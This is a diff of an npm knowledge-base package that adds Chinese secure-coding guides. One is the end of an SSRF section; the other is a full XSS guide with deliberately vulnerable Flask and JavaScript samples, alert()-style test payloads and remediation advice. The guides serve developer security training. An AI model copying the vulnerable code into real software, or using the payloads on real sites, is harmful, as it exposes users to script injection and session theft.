- 拦截 127.0.0.1/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16 等网段。
|
|
44
|
+
|
|
45
|
+
### 4.3 【必须】禁止危险协议
|
|
46
|
+
|
|
47
|
+
- 禁止 file://、gopher://、ftp:// 等高危协议,仅允许 http/https。
|
|
48
|
+
|
|
49
|
+
### 4.4 【建议】通过服务端代理统一转发请求
|
|
50
|
+
|
|
51
|
+
- 在代理层做 ACL、审计、超时/限速控制,避免业务服务直接对外请求。
|
|
52
|
+
|
|
53
|
+
### 4.5 【建议】对下载响应内容大小/时间做限制
|
|
54
|
+
|
|
55
|
+
- 设置最大响应体积(如 10MB)、请求超时(如 3s),防止攻击者利用大文件/死链 DoS。
|
|
@@ -0,0 +1,134 @@
|
|
|
1
|
+
# XSS(跨站脚本攻击)
|
|
2
|
+
|
|
3
|
+
## 1. 漏洞原理
|
|
4
|
+
|
|
5
|
+
- XSS(Cross-Site Scripting) 是指攻击者将恶意脚本注入到网页中,当其他用户访问该网页时,恶意脚本在其浏览器中执行,从而窃取用户信息、劫持账号或控制浏览器。
|
|
6
|
+
- **本质是**:用户输入 -> 未转义输出 -> 浏览器执行脚本。
|
|
7
|
+
|
|
8
|
+
## 2. 漏洞影响
|
|
9
|
+
|
|
10
|
+
- 会话劫持:获取 document.cookie,冒用用户身份
|
|
11
|
+
- 页面伪造:嵌入钓鱼表单,诱导用户操作
|
|
12
|
+
- 权限滥用:使用 JS 执行接口请求,冒用用户操作(CSRF + XSS 联合攻击)
|
|
13
|
+
- 木马注入:植入脚本实现远程控制、广告弹窗、挖矿脚本等
|
|
14
|
+
- 数据篡改:修改页面结构,引导转账、误导点击等
|
|
15
|
+
|
|
16
|
+
## 3. 典型业务场景
|
|
17
|
+
|
|
18
|
+
### 3.1 【反射型 XSS】URL/表单参数未过滤即输出
|
|
19
|
+
|
|
20
|
+
- 原理:攻击者构造 URL,诱导用户点击,恶意代码随参数被反射到页面并执行。
|
|
21
|
+
- 特点:代码不落地,不存储,仅当前响应携带。
|
|
22
|
+
- 漏洞示例代码如下:
|
|
23
|
+
|
|
24
|
+
```python
|
|
25
|
+
from flask import Flask, request, render_template_string
|
|
26
|
+
app = Flask(__name__)
|
|
27
|
+
|
|
28
|
+
@app.route('/greet')
|
|
29
|
+
def greet():
|
|
30
|
+
name = request.args.get("name")
|
|
31
|
+
return render_template_string("Hello %s" % name)
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
- 访问 URL:`/greet?name=<script>alert(1)</script>`
|
|
35
|
+
|
|
36
|
+
### 3.2 【存储型 XSS】恶意脚本被写入数据库并展示
|
|
37
|
+
|
|
38
|
+
- 原理:攻击者提交评论、工单内容等含 JS 的文本,系统将其存入数据库并在前端原样输出。
|
|
39
|
+
- 特点:影响持续存在,攻击范围广,可批量感染用户。
|
|
40
|
+
- 漏洞示例代码如下:
|
|
41
|
+
|
|
42
|
+
```python
|
|
43
|
+
# 假设以下是评论展示逻辑
|
|
44
|
+
@app.route("/comment/<int:id>")
|
|
45
|
+
def show_comment(id):
|
|
46
|
+
content = db.get_comment(id) # 数据库中含 <script> 标签
|
|
47
|
+
return render_template("comment.html", content=content)
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
- 若 content 来自用户输入,且未转义
|
|
51
|
+
|
|
52
|
+
```html
|
|
53
|
+
<!-- HTML 模板(Jinja2) -->
|
|
54
|
+
{{ content }}
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
### 3.3 【DOM 型 XSS】JavaScript中操作DOM时拼接用户输入
|
|
58
|
+
|
|
59
|
+
- 原理:客户端 JavaScript 使用 innerHTML、document.write() 等方式拼接不可信输入,导致脚本执行。
|
|
60
|
+
- 特点:漏洞存在于前端代码,绕过后端防御。
|
|
61
|
+
- 漏洞示例代码如下:
|
|
62
|
+
|
|
63
|
+
```javascript
|
|
64
|
+
<!-- 不可信输入拼接到 innerHTML 中 -->
|
|
65
|
+
<script>
|
|
66
|
+
const param = new URLSearchParams(location.search).get('msg');
|
|
67
|
+
document.getElementById("result").innerHTML = param;
|
|
68
|
+
</script>
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
- 访问:`http://example.com/?msg=<img src=1 onerror=alert(1)>`
|
|
72
|
+
|
|
73
|
+
### 3.4 【混合型 XSS】后端输出配合前端执行形成复合攻击
|
|
74
|
+
|
|
75
|
+
- 原理:后端将可控输入存入响应,前端再将该值通过 DOM 操作执行,形成复合型 XSS。
|
|
76
|
+
- 特点:攻击链复杂,漏洞位置跨层。
|
|
77
|
+
- 漏洞示例代码如下:
|
|
78
|
+
|
|
79
|
+
```javascript
|
|
80
|
+
<!-- 后端输出:<input id="msg" value="{{ user_input }}" hidden> -->
|
|
81
|
+
<!-- 前端JS拼接未清洗的input值 -->
|
|
82
|
+
<script>
|
|
83
|
+
const msg = document.getElementById("msg").value;
|
|
84
|
+
document.getElementById("box").innerHTML = msg;
|
|
85
|
+
</script>
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
- 攻击者输入字段:`"><img src=1 onerror=alert(1)>`
|
|
89
|
+
|
|
90
|
+
## 4. 漏洞修复方案
|
|
91
|
+
|
|
92
|
+
### 4.1 【必须】使用 CSP(内容安全策略)
|
|
93
|
+
|
|
94
|
+
- 限制页面只能加载自身 JS,禁止外链与内联脚本:
|
|
95
|
+
|
|
96
|
+
```
|
|
97
|
+
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
### 4.2 【必须】后端模板引擎开启自动转义
|
|
101
|
+
|
|
102
|
+
- Flask(Jinja2):默认开启,不要使用 |safe
|
|
103
|
+
- Django:默认开启,严禁对用户输入使用 |safe
|
|
104
|
+
|
|
105
|
+
### 4.3 【必须】所有输入内容严格做 XSS 过滤(非转义)
|
|
106
|
+
|
|
107
|
+
```python
|
|
108
|
+
from markupsafe import escape
|
|
109
|
+
html = escape(user_input)
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
### 4.4 【必须】严禁前端 innerHTML 拼接用户输入
|
|
113
|
+
|
|
114
|
+
```javascript
|
|
115
|
+
// Bad Code:
|
|
116
|
+
document.getElementById("box").innerHTML = location.search.slice(1);
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
```javascript
|
|
120
|
+
// Good Code:
|
|
121
|
+
document.getElementById("box").textContent = location.search.slice(1);
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
### 4.5 【必须】禁止在模板中使用 |safe 修饰用户可控字段
|
|
125
|
+
|
|
126
|
+
- 禁止使用:{{ user_input|safe }}
|
|
127
|
+
|
|
128
|
+
### 4.6 【建议】启用 HttpOnly cookie
|
|
129
|
+
|
|
130
|
+
- 避免 JS 读取 cookie
|
|
131
|
+
|
|
132
|
+
### 4.7 【建议】启用 SameSite=Strict
|
|
133
|
+
|
|
134
|
+
- 防止 XSS 联合 CSRF
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@blueking/bkui-knowledge",
|
|
3
|
-
"version": "0.0.1-beta.
|
|
4
|
-
"description": "蓝鲸前端知识库 MCP 服务 - 自动同步 skills,支持 Cursor/
|
|
3
|
+
"version": "0.0.1-beta.10",
|
|
4
|
+
"description": "蓝鲸前端知识库 MCP 服务 - 自动同步 skills,支持 Cursor/CodeBuddy",
|
|
5
5
|
"main": "server/mcp-core.js",
|
|
6
6
|
"bin": {
|
|
7
7
|
"bkui-knowledge": "./bin/bkui-knowledge.js"
|
|
@@ -20,7 +20,7 @@
|
|
|
20
20
|
"repository": {
|
|
21
21
|
"type": "git"
|
|
22
22
|
},
|
|
23
|
-
"keywords": ["mcp", "cursor", "ai", "knowledge-base", "bkui", "vue3"],
|
|
23
|
+
"keywords": ["mcp", "cursor", "codebuddy", "ai", "knowledge-base", "bkui", "vue3"],
|
|
24
24
|
"author": "ielgnaw",
|
|
25
25
|
"license": "ISC"
|
|
26
26
|
}
|